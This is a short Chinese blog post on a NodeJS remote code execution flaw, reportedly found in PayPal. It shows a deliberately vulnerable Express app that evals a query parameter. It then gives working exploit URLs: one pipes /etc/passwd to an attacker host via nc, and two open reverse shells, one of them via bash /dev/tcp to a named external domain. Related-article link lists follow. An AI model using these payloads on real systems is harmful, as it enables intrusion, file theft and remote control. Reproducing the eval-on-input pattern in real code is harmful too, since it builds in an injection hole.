NodeJS远程代码执行


Posted in NodeJs onAugust 28, 2016

背景

@Artsploit在挖PayPal的漏洞时,发现一处NodeJS代码执行,奖励$10000美金。

测试

var express = require('express'); 
var app = express(); 
app.get('/', function (req, res) { 
  res.send('Hello eval(req.query.q));
  console.log(req.query.q);
});
app.listen(8080, function () { 
  console.log('Example listening on port 8080!');
});

任意文件读取

http://host:8080/?q=require('child_process').exec('cat+/etc/passwd+|+nc+attackerip+80')

GET SHELL

http://host:8080/?q=var+net+=+require("net"),+sh+=+require("child_process").exec("/bin/bash");var+client+=+new+net.Socket();client.connect(80,+"attackerip",+function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});

GET SHELL2

http://host:8080/?q=require("child_process").exec('bash -c "bash -i >%26 /dev/tcp/wufeifei.com/7890 0>%261"')
NodeJs 相关文章推荐
跟我学Nodejs(三)--- Node.js模块
May 25 NodeJs
Nodejs实现的一个简单udp广播服务器、客户端
Sep 25 NodeJs
nodejs之get/post请求的几种方式小结
Jul 26 NodeJs
基于nodejs实现微信支付功能
Dec 20 NodeJs
nodejs基于express实现文件上传的方法
Mar 19 NodeJs
NodeJs实现简单的爬虫功能案例分析
Dec 05 NodeJs
nodeJS进程管理器pm2的使用
Jan 09 NodeJs
详解nodejs 开发企业微信第三方应用入门教程
Mar 12 NodeJs
nodejs中实现用户注册路由功能
May 20 NodeJs
nodejs实现UDP组播示例方法
Nov 04 NodeJs
nodejs中的异步编程知识点详解
Jan 17 NodeJs
使用 Koa + TS + ESLlint 搭建node服务器的过程详解
May 30 NodeJs
用NodeJS实现批量查询地理位置的经纬度接口
Aug 16 #NodeJs
使用nodejs中httpProxy代理时候出现404异常的解决方法
Aug 15 #NodeJs
NodeJs的优势和适合开发的程序
Aug 14 #NodeJs
在windows上用nodejs搭建静态文件服务器的简单方法
Aug 11 #NodeJs
Nodejs抓取html页面内容(推荐)
Aug 11 #NodeJs
用nodejs的实现原理和搭建服务器(动态)
Aug 10 #NodeJs
nodejs如何获取时间戳与时间差
Aug 03 #NodeJs
You might like
PHP新手上路(二)
2006/10/09 PHP
php 连接mssql数据库 初学php笔记
2010/03/01 PHP
ThinkPHP之用户注册登录留言完整实例
2014/07/22 PHP
PHP中使用BigMap实例
2015/03/30 PHP
PHP实现的oracle分页函数实例
2016/01/25 PHP
php获取客户端IP及URL的方法示例
2017/02/03 PHP
javascript下给元素添加事件的方法与代码
2007/08/13 Javascript
通过event对象的fromElement属性解决热区设置主实体的一个bug
2008/12/22 Javascript
js 时间函数应用加、减、比较、格式转换的示例代码
2013/08/23 Javascript
js确认删除对话框效果的示例代码
2014/02/20 Javascript
封装的dialog插件 基于bootstrap模态对话框的简单扩展
2016/08/10 Javascript
12个非常有用的JavaScript技巧
2017/05/17 Javascript
浅谈Node Inspector 代理实现
2017/10/19 Javascript
vue中slot(插槽)的介绍与使用
2018/11/12 Javascript
jQuery三组基本动画与自定义动画操作实例总结
2020/05/09 jQuery
[02:46]2014DOTA2国际邀请赛 选手为你解读比赛MVP充满梦想
2014/07/09 DOTA
[03:49]DOTA2 2015国际邀请赛中国区预选赛第二日现场百态
2015/05/27 DOTA
[03:39]2015国际邀请赛主赛事首日精彩回顾
2015/08/05 DOTA
关于Django外键赋值问题详解
2017/08/13 Python
PyQt5实现无边框窗口的标题拖动和窗口缩放
2018/04/19 Python
Python时间序列缺失值的处理方法(日期缺失填充)
2019/08/11 Python
python实现两个一维列表合并成一个二维列表
2019/12/02 Python
Python列表去重复项的N种方法(实例代码)
2020/05/12 Python
Python常用扩展插件使用教程解析
2020/11/02 Python
有趣、实用和鼓舞人心的产品:Inspire Uplift
2019/11/05 全球购物
如何反序的迭代一个序列?how do I iterate over a sequence in reverse order
2012/02/04 面试题
行政经理的岗位职责
2013/11/23 职场文书
餐饮业创业计划书范文
2014/01/06 职场文书
水果连锁超市创业计划书
2014/01/24 职场文书
个人公开承诺书
2014/03/28 职场文书
防灾减灾活动总结
2014/08/30 职场文书
股东授权委托书范文
2014/09/13 职场文书
创业项目大全(适合在家创业的项目)
2019/08/15 职场文书
mongodb清除连接和日志的正确方法分享
2021/09/15 MongoDB
使用Ajax实现进度条的绘制
2022/04/07 Javascript
MySQL池化框架学习接池自定义
2022/07/23 MySQL